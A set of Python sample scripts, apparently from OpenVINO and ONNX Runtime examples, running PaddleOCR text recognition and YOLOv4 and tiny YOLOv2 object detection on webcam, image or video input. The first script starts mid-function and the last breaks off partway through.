    model_name = model_url.split("/")[-1]
    
    if model_file_path.is_file(): 
        print("Model already exists")
    else:
        # Download the model from the server, and untar it.
        print("Downloading the pre-trained model... May take a while...")

        # create a directory
        os.makedirs("model", exist_ok=True)
        urllib.request.urlretrieve(model_url, f"model/{model_name} ")
        print("Model Downloaded")

        file = tarfile.open(f"model/{model_name} ")
        res = file.extractall("model")
        file.close()
        if not res:
            print(f"Model Extracted to {model_file_path}.")
        else:
            print("Error Extracting the model. Please check the network.")

# Download the Model for Text Detection
# Directory where model will be downloaded

det_model_url = "https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_det_infer.tar"
det_model_file_path = Path("model/ch_ppocr_mobile_v2.0_det_infer/inference.pdmodel")

run_model_download(det_model_url, det_model_file_path)

# Load the Model for Text Detection
# initialize inference engine for text detection
core = Core()
det_model = core.read_model(model=det_model_file_path)
det_compiled_model = core.compile_model(model=det_model, device_name="CPU")

# get input and output nodes for text detection
det_input_layer = det_compiled_model.input(0)
det_output_layer = det_compiled_model.output(0)

# Download the Model for Text Recognition
rec_model_url = "https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_rec_infer.tar"
rec_model_file_path = Path("model/ch_ppocr_mobile_v2.0_rec_infer/inference.pdmodel")

run_model_download(rec_model_url, rec_model_file_path)

# Load the Model for Text Recognition with Dynamic Shape
# read the model and corresponding weights from file
rec_model = core.read_model(model=rec_model_file_path)

# assign dynamic shapes to every input layer on the last dimension
for input_layer in rec_model.inputs:
    input_shape = input_layer.partial_shape
    input_shape[3] = -1
    rec_model.reshape({input_layer: input_shape})

rec_compiled_model = core.compile_model(model=rec_model, device_name="CPU")

# get input and output nodes
rec_input_layer = rec_compiled_model.input(0)
rec_output_layer = rec_compiled_model.output(0)

# Preprocessing image functions for text detection and recognition
# Preprocess for text detection
def image_preprocess(input_image, size):
    """
    Preprocess input image for text detection

    Parameters:
        input_image: input image 
        size: value for the image to be resized for text detection model
    """
    img = cv2.resize(input_image, (size, size))
    img = np.transpose(img, [2, 0, 1]) / 255
    img = np.expand_dims(img, 0)
    # NormalizeImage: {mean: [0.485, 0.456, 0.406], std: [0.229, 0.224, 0.225], is_scale: True}
    img_mean = np.array([0.485, 0.456, 0.406]).reshape((3, 1, 1))
    img_std = np.array([0.229, 0.224, 0.225]).reshape((3, 1, 1))
    img -= img_mean
    img /= img_std
    return img.astype(np.float32)

# Preprocess for text recognition
def resize_norm_img(img, max_wh_ratio):
    """
    Resize input image for text recognition

    Parameters:
        img: bounding box image from text detection 
        max_wh_ratio: value for the resizing for text recognition model
    """
    rec_image_shape = [3, 32, 320]
    imgC, imgH, imgW = rec_image_shape
    assert imgC == img.shape[2]
    character_type = "ch"
    if character_type == "ch":
        imgW = int((32 * max_wh_ratio))
    h, w = img.shape[:2]
    ratio = w / float(h)
    if math.ceil(imgH * ratio) > imgW:
        resized_w = imgW
    else:
        resized_w = int(math.ceil(imgH * ratio))
    resized_image = cv2.resize(img, (resized_w, imgH))
    resized_image = resized_image.astype('float32')
    resized_image = resized_image.transpose((2, 0, 1)) / 255
    resized_image -= 0.5
    resized_image /= 0.5
    padding_im = np.zeros((imgC, imgH, imgW), dtype=np.float32)
    padding_im[:, :, 0:resized_w] = resized_image
    return padding_im


def prep_for_rec(dt_boxes, frame):
    """
    Preprocessing of the detected bounding boxes for text recognition

    Parameters:
        dt_boxes: detected bounding boxes from text detection 
        frame: original input frame 
    """
    ori_im = frame.copy()
    img_crop_list = [] 
    for bno in range(len(dt_boxes)):
        tmp_box = copy.deepcopy(dt_boxes[bno])
        img_crop = processing.get_rotate_crop_image(ori_im, tmp_box)
        img_crop_list.append(img_crop)
        
    img_num = len(img_crop_list)
    # Calculate the aspect ratio of all text bars
    width_list = []
    for img in img_crop_list:
        width_list.append(img.shape[1] / float(img.shape[0]))
    
    # Sorting can speed up the recognition process
    indices = np.argsort(np.array(width_list))
    return img_crop_list, img_num, indices


def batch_text_box(img_crop_list, img_num, indices, beg_img_no, batch_num):
    """
    Batch for text recognition

    Parameters:
        img_crop_list: processed detected bounding box images 
        img_num: number of bounding boxes from text detection
        indices: sorting for bounding boxes to speed up text recognition
        beg_img_no: the beginning number of bounding boxes for each batch of text recognition inference
        batch_num: number of images for each batch
    """
    norm_img_batch = []
    max_wh_ratio = 0
    end_img_no = min(img_num, beg_img_no + batch_num)
    for ino in range(beg_img_no, end_img_no):
        h, w = img_crop_list[indices[ino]].shape[0:2]
        wh_ratio = w * 1.0 / h
        max_wh_ratio = max(max_wh_ratio, wh_ratio)
    for ino in range(beg_img_no, end_img_no):
        norm_img = resize_norm_img(img_crop_list[indices[ino]], max_wh_ratio)
        norm_img = norm_img[np.newaxis, :]
        norm_img_batch.append(norm_img)

    norm_img_batch = np.concatenate(norm_img_batch)
    norm_img_batch = norm_img_batch.copy()
    return norm_img_batch

# Postprocessing image for text detection
def post_processing_detection(frame, det_results):
    """
    Postprocess the results from text detection into bounding boxes

    Parameters:
        frame: input image 
        det_results: inference results from text detection model
    """   
    ori_im = frame.copy()
    data = {'image': frame}
    data_resize = processing.DetResizeForTest(data)
    data_list = []
    keep_keys = ['image', 'shape']
    for key in keep_keys:
        data_list.append(data_resize[key])
    img, shape_list = data_list

    shape_list = np.expand_dims(shape_list, axis=0) 
    pred = det_results[0]    
    if isinstance(pred, paddle.Tensor):
        pred = pred.numpy()
    segmentation = pred > 0.3

    boxes_batch = []
    for batch_index in range(pred.shape[0]):
        src_h, src_w, ratio_h, ratio_w = shape_list[batch_index]
        mask = segmentation[batch_index]
        boxes, scores = processing.boxes_from_bitmap(pred[batch_index], mask, src_w, src_h)
        boxes_batch.append({'points': boxes})
    post_result = boxes_batch
    dt_boxes = post_result[0]['points']
    dt_boxes = processing.filter_tag_det_res(dt_boxes, ori_im.shape)    
    return dt_boxes

# Main processing function for PaddleOCR
def run_paddle_ocr(source=0, flip=False, use_popup=False, skip_first_frames=0):
    """
    Main function to run the paddleOCR inference:
    1. Create a video player to play with target fps (utils.VideoPlayer).
    2. Prepare a set of frames for text detection and recognition.
    3. Run AI inference for both text detection and recognition.
    4. Visualize the results.

    Parameters:
        source: the webcam number to feed the video stream with primary webcam set to "0", or the video path.  
        flip: to be used by VideoPlayer function for flipping capture image
        use_popup: False for showing encoded frames over this notebook, True for creating a popup window.
        skip_first_frames: Number of frames to skip at the beginning of the video. 
    """
    # create video player to play with target fps
    player = None
    try:
        player = utils.VideoPlayer(source=source, flip=flip, fps=30, skip_first_frames=skip_first_frames)
        # Start video capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(winname=title, flags=cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()
        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(src=frame, dsize=None, fx=scale, fy=scale,
                                   interpolation=cv2.INTER_AREA)
            # preprocess image for text detection
            test_image = image_preprocess(frame, 640)
                
            # measure processing time for text detection
            start_time = time.time()
            # perform the inference step
            det_results = det_compiled_model([test_image])[det_output_layer]
            stop_time = time.time()

            # Postprocessing for Paddle Detection
            dt_boxes = post_processing_detection(frame, det_results)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()
            processing_time_det = np.mean(processing_times) * 1000

            # Preprocess detection results for recognition
            dt_boxes = processing.sorted_boxes(dt_boxes)  
            batch_num = 6
            img_crop_list, img_num, indices = prep_for_rec(dt_boxes, frame)
            
            # For storing recognition results, include two parts:
            # txts are the recognized text results, scores are the recognition confidence level 
            rec_res = [['', 0.0]] * img_num
            txts = [] 
            scores = []

            for beg_img_no in range(0, img_num, batch_num):

                # Recognition starts from here
                norm_img_batch = batch_text_box(
                    img_crop_list, img_num, indices, beg_img_no, batch_num)

                # Run inference for text recognition 
                rec_results = rec_compiled_model([norm_img_batch])[rec_output_layer]

                # Postprocessing recognition results
                postprocess_op = processing.build_post_process(processing.postprocess_params)
                rec_result = postprocess_op(rec_results)
                for rno in range(len(rec_result)):
                    rec_res[indices[beg_img_no + rno]] = rec_result[rno]   
                if rec_res:
                    txts = [rec_res[i][0] for i in range(len(rec_res))] 
                    scores = [rec_res[i][1] for i in range(len(rec_res))]
                                   
            image = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))
            boxes = dt_boxes
            # draw text recognition results beside the image
            draw_img = processing.draw_ocr_box_txt(
                image,
                boxes,
                txts,
                scores,
                drop_score=0.5)

            # Visualize PaddleOCR results
            f_height, f_width = draw_img.shape[:2]
            fps = 1000 / processing_time_det
            cv2.putText(img=draw_img, text=f"Inference time: {processing_time_det:.1f}ms ({fps:.1f} FPS)", 
                        org=(20, 40),fontFace=cv2.FONT_HERSHEY_COMPLEX, fontScale=f_width / 1000,
                        color=(0, 0, 255), thickness=1, lineType=cv2.LINE_AA)
            
            # use this workaround if there is flickering
            if use_popup: 
                draw_img = cv2.cvtColor(draw_img, cv2.COLOR_RGB2BGR)
                cv2.imshow(winname=title, mat=draw_img)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                draw_img = cv2.cvtColor(draw_img, cv2.COLOR_RGB2BGR)
                _, encoded_img = cv2.imencode(ext=".jpg", img=draw_img,
                                              params=[cv2.IMWRITE_JPEG_QUALITY, 100])
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
            
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live PaddleOCR with OpenVINO
run_paddle_ocr(source=0, flip=False, use_popup=False)

# Test OCR results on video file

video_file = "https://raw.githubusercontent.com/yoyowz/classification/master/images/test.mp4"
run_paddle_ocr(source=video_file, flip=False, use_popup=False, skip_first_frames=0)
# pip3 install openvino
 
# Install ONNX Runtime for OpenVINO™ Execution Provider
# pip3 install onnxruntime-openvino==1.11.0
 
# pip3 install -r requirements.txt
# Running the ONNXRuntime OpenVINO™ Execution Provider sample
# python3 yolov4.py --device CPU_FP32 --video classroom.mp4 --model yolov4.onnx

'''
Copyright (C) 2021-2022, Intel Corporation
SPDX-License-Identifier: Apache-2.0
Major Portions of this code are copyright of their respective authors and released under the Apache License Version 2.0:
- onnx, Copyright 2021-2022. For licensing see https://github.com/onnx/models/blob/master/LICENSE
'''

import cv2
import numpy as np
from onnx import numpy_helper
import onnx
import onnxruntime as rt
import os
from PIL import Image
from scipy import special
import colorsys
import random
import argparse
import sys
import time
import platform

if platform.system() == "Windows":
    from openvino import utils
    utils.add_openvino_libs_to_path()

def image_preprocess(image, target_size, gt_boxes=None):

    ih, iw = target_size
    h, w, _ = image.shape

    scale = min(iw/w, ih/h)
    nw, nh = int(scale * w), int(scale * h)
    image_resized = cv2.resize(image, (nw, nh))

    image_padded = np.full(shape=[ih, iw, 3], fill_value=128.0)
    dw, dh = (iw - nw) // 2, (ih-nh) // 2
    image_padded[dh:nh+dh, dw:nw+dw, :] = image_resized
    image_padded = image_padded / 255.

    if gt_boxes is None:
        return image_padded

    else:
        gt_boxes[:, [0, 2]] = gt_boxes[:, [0, 2]] * scale + dw
        gt_boxes[:, [1, 3]] = gt_boxes[:, [1, 3]] * scale + dh
        return image_padded, gt_boxes

def postprocess_bbbox(pred_bbox):
    '''define anchor boxes'''
    for i, pred in enumerate(pred_bbox):
        conv_shape = pred.shape
        output_size = conv_shape[1]
        conv_raw_dxdy = pred[:, :, :, :, 0:2]
        conv_raw_dwdh = pred[:, :, :, :, 2:4]
        xy_grid = np.meshgrid(np.arange(output_size), np.arange(output_size))
        xy_grid = np.expand_dims(np.stack(xy_grid, axis=-1), axis=2)

        xy_grid = np.tile(np.expand_dims(xy_grid, axis=0), [1, 1, 1, 3, 1])
        xy_grid = xy_grid.astype(float)

        pred_xy = ((special.expit(conv_raw_dxdy) * XYSCALE[i]) - 0.5 * (XYSCALE[i] - 1) + xy_grid) * STRIDES[i]
        pred_wh = (np.exp(conv_raw_dwdh) * ANCHORS[i])
        pred[:, :, :, :, 0:4] = np.concatenate([pred_xy, pred_wh], axis=-1)

    pred_bbox = [np.reshape(x, (-1, np.shape(x)[-1])) for x in pred_bbox]
    pred_bbox = np.concatenate(pred_bbox, axis=0)
    return pred_bbox

def postprocess_boxes(pred_bbox, org_img_shape, input_size, score_threshold):
    '''remove boundary boxs with a low detection probability'''
    valid_scale=[0, np.inf]
    pred_bbox = np.array(pred_bbox)

    pred_xywh = pred_bbox[:, 0:4]
    pred_conf = pred_bbox[:, 4]
    pred_prob = pred_bbox[:, 5:]

    # # (1) (x, y, w, h) --> (xmin, ymin, xmax, ymax)
    pred_coor = np.concatenate([pred_xywh[:, :2] - pred_xywh[:, 2:] * 0.5,
                                pred_xywh[:, :2] + pred_xywh[:, 2:] * 0.5], axis=-1)
    # # (2) (xmin, ymin, xmax, ymax) -> (xmin_org, ymin_org, xmax_org, ymax_org)
    org_h, org_w = org_img_shape
    resize_ratio = min(input_size / org_w, input_size / org_h)

    dw = (input_size - resize_ratio * org_w) / 2
    dh = (input_size - resize_ratio * org_h) / 2

    pred_coor[:, 0::2] = 1.0 * (pred_coor[:, 0::2] - dw) / resize_ratio
    pred_coor[:, 1::2] = 1.0 * (pred_coor[:, 1::2] - dh) / resize_ratio

    # # (3) clip some boxes that are out of range
    pred_coor = np.concatenate([np.maximum(pred_coor[:, :2], [0, 0]),
                                np.minimum(pred_coor[:, 2:], [org_w - 1, org_h - 1])], axis=-1)
    invalid_mask = np.logical_or((pred_coor[:, 0] > pred_coor[:, 2]), (pred_coor[:, 1] > pred_coor[:, 3]))
    pred_coor[invalid_mask] = 0

    # # (4) discard some invalid boxes
    bboxes_scale = np.sqrt(np.multiply.reduce(pred_coor[:, 2:4] - pred_coor[:, 0:2], axis=-1))
    scale_mask = np.logical_and((valid_scale[0] < bboxes_scale), (bboxes_scale < valid_scale[1]))

    # # (5) discard some boxes with low scores
    classes = np.argmax(pred_prob, axis=-1)
    scores = pred_conf * pred_prob[np.arange(len(pred_coor)), classes]
    score_mask = scores > score_threshold
    mask = np.logical_and(scale_mask, score_mask)
    coors, scores, classes = pred_coor[mask], scores[mask], classes[mask]

    return np.concatenate([coors, scores[:, np.newaxis], classes[:, np.newaxis]], axis=-1)

def bboxes_iou(boxes1, boxes2):
    '''calculate the Intersection Over Union value'''
    boxes1 = np.array(boxes1)
    boxes2 = np.array(boxes2)

    boxes1_area = (boxes1[..., 2] - boxes1[..., 0]) * (boxes1[..., 3] - boxes1[..., 1])
    boxes2_area = (boxes2[..., 2] - boxes2[..., 0]) * (boxes2[..., 3] - boxes2[..., 1])

    left_up       = np.maximum(boxes1[..., :2], boxes2[..., :2])
    right_down    = np.minimum(boxes1[..., 2:], boxes2[..., 2:])

    inter_section = np.maximum(right_down - left_up, 0.0)
    inter_area    = inter_section[..., 0] * inter_section[..., 1]
    union_area    = boxes1_area + boxes2_area - inter_area
    ious          = np.maximum(1.0 * inter_area / union_area, np.finfo(np.float32).eps)

    return ious

def nms(bboxes, iou_threshold, sigma=0.3, method='nms'):
    """
    :param bboxes: (xmin, ymin, xmax, ymax, score, class)
    Note: soft-nms, https://arxiv.org/pdf/1704.04503.pdf
          https://github.com/bharatsingh430/soft-nms
    """
    classes_in_img = list(set(bboxes[:, 5]))
    best_bboxes = []

    for cls in classes_in_img:
        cls_mask = (bboxes[:, 5] == cls)
        cls_bboxes = bboxes[cls_mask]

        while len(cls_bboxes) > 0:
            max_ind = np.argmax(cls_bboxes[:, 4])
            best_bbox = cls_bboxes[max_ind]
            best_bboxes.append(best_bbox)
            cls_bboxes = np.concatenate([cls_bboxes[: max_ind], cls_bboxes[max_ind + 1:]])
            iou = bboxes_iou(best_bbox[np.newaxis, :4], cls_bboxes[:, :4])
            weight = np.ones((len(iou),), dtype=np.float32)

            assert method in ['nms', 'soft-nms']

            if method == 'nms':
                iou_mask = iou > iou_threshold
                weight[iou_mask] = 0.0

            if method == 'soft-nms':
                weight = np.exp(-(1.0 * iou ** 2 / sigma))

            cls_bboxes[:, 4] = cls_bboxes[:, 4] * weight
            score_mask = cls_bboxes[:, 4] > 0.
            cls_bboxes = cls_bboxes[score_mask]

    return best_bboxes

def read_class_names(class_file_name):
    '''loads class name from a file'''
    names = {}
    with open(class_file_name, 'r') as data:
        for ID, name in enumerate(data):
            names[ID] = name.strip('\n')
    return names

def draw_bbox(image, bboxes, classes=read_class_names("coco.names"), show_label=True):
    """
    bboxes: [x_min, y_min, x_max, y_max, probability, cls_id] format coordinates.
    """

    num_classes = len(classes)
    image_h, image_w, _ = image.shape
    hsv_tuples = [(1.0 * x / num_classes, 1., 1.) for x in range(num_classes)]
    colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))
    colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors))

    random.seed(0)
    random.shuffle(colors)
    random.seed(None)

    for i, bbox in enumerate(bboxes):
        coor = np.array(bbox[:4], dtype=np.int32)
        fontScale = 0.5
        score = bbox[4]
        class_ind = int(bbox[5])
        bbox_color = colors[class_ind]
        bbox_thick = int(0.6 * (image_h + image_w) / 600)
        c1, c2 = (coor[0], coor[1]), (coor[2], coor[3])
        cv2.rectangle(image, c1, c2, bbox_color, bbox_thick)

        if show_label:
            bbox_mess = '%s: %.2f' % (classes[class_ind], score)
            t_size = cv2.getTextSize(bbox_mess, 0, fontScale, thickness=bbox_thick//2)[0]
            cv2.rectangle(image, c1, (c1[0] + t_size[0], c1[1] - t_size[1] - 3), bbox_color, -1)
            cv2.putText(image, bbox_mess, (c1[0], c1[1]-2), cv2.FONT_HERSHEY_SIMPLEX,
                        fontScale, (0, 0, 0), bbox_thick//2, lineType=cv2.LINE_AA)

    return image

def get_anchors(anchors_path, tiny=False):
    '''loads the anchors from a file'''
    with open(anchors_path) as f:
        anchors = f.readline()
    anchors = np.array(anchors.split(','), dtype=np.float32)
    return anchors.reshape(3, 3, 2)

#Specify the path to anchors file on your machine
ANCHORS = "./yolov4_anchors.txt"    
STRIDES = [8, 16, 32]
XYSCALE = [1.2, 1.1, 1.05]
ANCHORS = get_anchors(ANCHORS)
STRIDES = np.array(STRIDES)

def parse_arguments():
    parser = argparse.ArgumentParser(description='Object Detection using YOLOv4 in OPENCV using OpenVINO Execution Provider for ONNXRuntime')
    parser.add_argument('--device', default='CPU_FP32', help="Device to perform inference on 'cpu (MLAS)' or on devices supported by OpenVINO-EP [CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VAD-M_FP16].")
    parser.add_argument('--image', help='Path to image file.')
    parser.add_argument('--video', help='Path to video file.')
    parser.add_argument('--model', help='Path to model.')
    args = parser.parse_args()
    return args
    
def check_model_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()

  # Now we can simply use != to check for inequality, no need for wildcards.
  if(ext != ".onnx"):
    raise Exception(fp, "is an unknown file format. Use the model ending with .onnx format")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the onnx model file is Invalid")

def main(): 

    # Process arguments
    args = parse_arguments()

    # Validate model file path
    check_model_extension(args.model)

    # Process inputs
    win_name = 'Object detection using ONNXRuntime OpenVINO Execution Provider using YoloV4 model'
    cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)

    output_file = "yolo_out_py.avi"
    if (args.image):
        # Open the image file
        if not os.path.isfile(args.image):
            print("Input image file ", args.image, " doesn't exist")
            sys.exit(1)
        cap = cv2.VideoCapture(args.image)
        output_file = args.image[:-4]+'_yolo_out_py.jpg'
    elif (args.video):
        # Open the video file
        if not os.path.isfile(args.video):
            print("Input video file ", args.video, " doesn't exist")
            sys.exit(1)
        cap = cv2.VideoCapture(args.video)
        output_file = args.video[:-4]+'_yolo_out_py.avi'
    else:
        # Webcam input
        cap = cv2.VideoCapture(0)

    # Get the video writer initialized to save the output video
    if (not args.image):
        vid_writer = cv2.VideoWriter(output_file, cv2.VideoWriter_fourcc('M','J','P','G'), 30, (round(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),round(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))))
    
    # Check the device information and create a session
    device = args.device
    so = rt.SessionOptions()
    so.log_severity_level = 3
    if(args.device == 'cpu'):
        print("Device type selected is 'cpu' which is the default CPU Execution Provider (MLAS)")
        #Specify the path to the ONNX model on your machine and register the CPU EP
        sess = rt.InferenceSession(args.model, so, providers=['CPUExecutionProvider'])
    else:
        #Specify the path to the ONNX model on your machine and register the OpenVINO EP
        sess = rt.InferenceSession(args.model, so, providers=['OpenVINOExecutionProvider'], provider_options=[{'device_type' : device}])
        print("Device type selected is: " + device + " using the OpenVINO Execution Provider")
        '''
        other 'device_type' options are: (Any hardware target can be assigned if you have the access to it)
        'CPU_FP32', 'GPU_FP32', 'GPU_FP16', 'MYRIAD_FP16', 'VAD-M_FP16'
        '''

    input_name = sess.get_inputs()[0].name
    
    while cv2.waitKey(1) < 0:
        # get frame from the video
        has_frame, frame = cap.read()
        # Stop the program if reached end of video
        if not has_frame:
            print("Done processing !!!")
            print("Output file is stored as ", output_file)
            has_frame=False
            cv2.waitKey(3000)
            # Release device
            cap.release()
            break
            
        input_size = 416
        original_image = frame
        original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB)
        original_image_size = original_image.shape[:2]

        image_data = image_preprocess(np.copy(original_image), [input_size, input_size])
        image_data = image_data[np.newaxis, ...].astype(np.float32)
    
        outputs = sess.get_outputs()
        output_names = list(map(lambda output: output.name, outputs))

        start = time.time()
        detections = sess.run(output_names, {input_name: image_data})
        end = time.time()
        inference_time = end - start

        pred_bbox = postprocess_bbbox(detections)
        bboxes = postprocess_boxes(pred_bbox, original_image_size, input_size, 0.25)
        bboxes = nms(bboxes, 0.213, method='nms')
        image = draw_bbox(original_image, bboxes)

        cv2.putText(image,device,(10,20),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
        cv2.putText(image,'FPS: {}'.format(1.0/inference_time),(10,40),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)

        # Write the frame with the detection boxes
        if (args.image):
            cv2.imwrite(output_file, image.astype(np.uint8))
        else:
            vid_writer.write(image.astype(np.uint8))
 
        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        cv2.imshow(win_name, image)

if __name__ == "__main__":
  main()
# pip3 install openvino

# Install ONNX Runtime for OpenVINO™ Execution Provider
# pip3 install onnxruntime-openvino==1.11.0

# pip3 install -r requirements.txt
# How to run the sample
# python3 tiny_yolov2_obj_detection_sample.py --h

# Running the ONNXRuntime OpenVINO™ Execution Provider sample
# python3 tiny_yolov2_obj_detection_sample.py --video face-demographics-walking-and-pause.mp4 --model tinyyolov2.onnx --device CPU_FP32

'''
Copyright (C) 2021-2022, Intel Corporation
SPDX-License-Identifier: Apache-2.0
'''

import numpy as np
import onnxruntime as rt
import cv2
import time
import os
import argparse
import platform

if platform.system() == "Windows":
    from openvino import utils
    utils.add_openvino_libs_to_path()

# color look up table for different classes for object detection sample
clut = [(0,0,0),(255,0,0),(255,0,255),(0,0,255),(0,255,0),(0,255,128),
        (128,255,0),(128,128,0),(0,128,255),(128,0,128),
        (255,0,128),(128,0,255),(255,128,128),(128,255,128),(255,255,0),
        (255,128,128),(128,128,255),(255,128,128),(128,255,128),(128,255,128)]

# 20 labels that the tiny-yolov2 model can do the object_detection on
label = ["aeroplane","bicycle","bird","boat","bottle",
         "bus","car","cat","chair","cow","diningtable",
         "dog","horse","motorbike","person","pottedplant",
          "sheep","sofa","train","tvmonitor"]

def parse_arguments():
  parser = argparse.ArgumentParser(description='Object Detection using YOLOv2 in OPENCV using OpenVINO Execution Provider for ONNXRuntime')
  parser.add_argument('--device', default='CPU_FP32', help="Device to perform inference on 'cpu (MLAS)' or on devices supported by OpenVINO-EP [CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VAD-M_FP16].")
  parser.add_argument('--video', help='Path to video file.')
  parser.add_argument('--model', help='Path to model.')
  args = parser.parse_args()
  return args

def sigmoid(x, derivative=False):
  return x*(1-x) if derivative else 1/(1+np.exp(-x))

def softmax(x):
  score_mat_exp = np.exp(np.asarray(x))
  return score_mat_exp / score_mat_exp.sum(0)

def check_model_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()

  # Now we can simply use != to check for inequality, no need for wildcards.
  if(ext != ".onnx"):
    raise Exception(fp, "is an unknown file format. Use the model ending with .onnx format")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the onnx model file is Invalid")

def check_video_file_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()
  # Now we can simply use != to check for inequality, no need for wildcards.
  
  if(ext == ".mp4" or ext == ".avi" or ext == ".mov"):
    pass
  else:
    raise Exception(fp, "is an unknown file format. Use the video file ending with .mp4 or .avi or .mov formats")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the video file is Invalid")

def image_preprocess(frame):
  in_frame = cv2.resize(frame, (416, 416))
  preprocessed_image = np.asarray(in_frame)
  preprocessed_image = preprocessed_image.astype(np.float32)
  preprocessed_image = preprocessed_image.transpose(2,0,1)
  #Reshaping the input array to align with the input shape of the model
  preprocessed_image = preprocessed_image.reshape(1,3,416,416)
  return preprocessed_image

def postprocess_output(out, frame, x_scale, y_scale, i):
  out = out[0][0]
  num_classes = 20
  anchors = [1.08, 1.19, 3.42, 4.41, 6.63, 11.38, 9.42, 5.11, 16.62, 10.52]
  existing_labels = {l: [] for l in label}

  #Inside this loop we compute the bounding box b for grid cell (cy, cx)
  for cy in range(0,13):
    for cx in range(0,13):
      for b in range(0,5):
      # First we read the tx, ty, width(tw), and height(th) for the bounding box from the out array, as well as the confidence score
        channel = b*(num_classes+5)
        tx = out[channel  ][cy][cx]
        ty = out[channel+1][cy][cx]
        tw = out[channel+2][cy][cx]
        th = out[channel+3][cy][cx]
        tc = out[channel+4][cy][cx]

        x = (float(cx) + sigmoid(tx))*32
        y = (float(cy) + sigmoid(ty))*32
        w = np.exp(tw) * 32 * anchors[2*b]
        h = np.exp(th) * 32 * anchors[2*b+1] 

        #calculating the confidence score
        confidence = sigmoid(tc) # The confidence value for the bounding box is given by tc
        classes = np.zeros(num_classes)
        for c in range(0,num_classes):
          classes[c] = out[channel + 5 +c][cy][cx]
          # we take the softmax to turn the array into a probability distribution. And then we pick the class with the largest score as the winner.
          classes = softmax(classes)
          detected_class = classes.argmax()
          # Now we can compute the final score for this bounding box and we only want to keep the ones whose combined score is over a certain threshold
          if 0.60 < classes[detected_class]*confidence:
            color =clut[detected_class]
            x = (x - w/2)*x_scale
            y = (y - h/2)*y_scale
            w *= x_scale
            h *= y_scale
               
            labelX = int((x+x+w)/2)
            labelY = int((y+y+h)/2)
            addLabel = True
            lab_threshold = 100
            for point in existing_labels[label[detected_class]]:
              if labelX < point[0] + lab_threshold and labelX > point[0] - lab_threshold and \
                 labelY < point[1] + lab_threshold and labelY > point[1] - lab_threshold:
                  addLabel = False
              #Adding class labels to the output of the frame and also drawing a rectangular bounding box around the object detected.
            if addLabel:
              cv2.rectangle(frame, (int(x),int(y)),(int(x+w),int(y+h)),color,2)
              cv2.rectangle(frame, (int(x),int(y-13)),(int(x)+9*len(label[detected_class]),int(y)),color,-1)
              cv2.putText(frame,label[detected_class],(int(x)+2,int(y)-3),cv2.FONT_HERSHEY_COMPLEX,0.4,(255,255,255),1)
              existing_labels[label[detected_class]].append((labelX,labelY))
            print('{} detected in frame {}'.format(label[detected_class],i))
  

def show_bbox(device, frame, inference_time):
  cv2.putText(frame,device,(10,20),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
  cv2.putText(frame,'FPS: {}'.format(1.0/inference_time),(10,40),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
  frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
  cv2.imshow('frame',frame)

def main():
  
  # Process arguments
  args = parse_arguments()

  # Validate model file path
  check_model_extension(args.model)
  so = rt.SessionOptions()
  so.log_severity_level = 3
  if (args.device == 'cpu'):
    print("Device type selected is 'cpu' which is the default CPU Execution Provider (MLAS)")
    #Specify the path to the ONNX model on your machine and register the CPU EP
    sess = rt.InferenceSession(args.model, so, providers=['CPUExecutionProvider'])
  elif (args.device == 'CPU_FP32' or args.device == 'GPU_FP32' or args.device == 'GPU_FP16' or args.device == 'MYRIAD_FP16' or args.device == 'VADM_FP16'):
    #Specify the path to the ONNX model on your machine and register the OpenVINO EP
    sess = rt.InferenceSession(args.model, so, providers=['OpenVINOExecutionProvider'], provider_options=[{'device_type' : args.device}])
    print("Device type selected is: " + args.device + " using the OpenVINO Execution Provider")
    '''
    other 'device_type' options are: (Any hardware target can be assigned if you have the access to it)
    'CPU_FP32', 'GPU_FP32', 'GPU_FP16', 'MYRIAD_FP16', 'VAD-M_FP16'
    '''
  else:
    raise Exception("Device type selected is not [cpu, CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VADM_FP16]")

  # Get the input name of the model
  input_name = sess.get_inputs()[0].name

  #validate video file input path
  check_video_file_extension(args.video)

  #Path to video file has to be provided
  cap = cv2.VideoCapture(args.video)

  # capturing different metrics of the image from the video
  fps = cap.get(cv2.CAP_PROP_FPS)
